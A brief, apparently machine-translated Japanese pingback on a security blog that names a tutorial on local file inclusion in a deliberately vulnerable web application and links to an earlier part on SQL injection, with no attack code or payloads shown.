  1. くそ脆弱なWebアプリケーション - ローカルファイルインクルージョン (LFI) | HackSysチーム - コンピュータセキュリティリサーチ, 侵入テスト, 倫理的ハッキング, Windowsのテクニカルサポート - [...] あなたが最初の部分を読んでいない, ここにリンクです: HTTP://hacksys.vfreaks.com /ペンテスト/いまいましい-脆弱-WEB-APP-SQL-injection.html [...]

返信を残す

あなたのメールアドレスは公開されません. 必須フィールドがマークされている *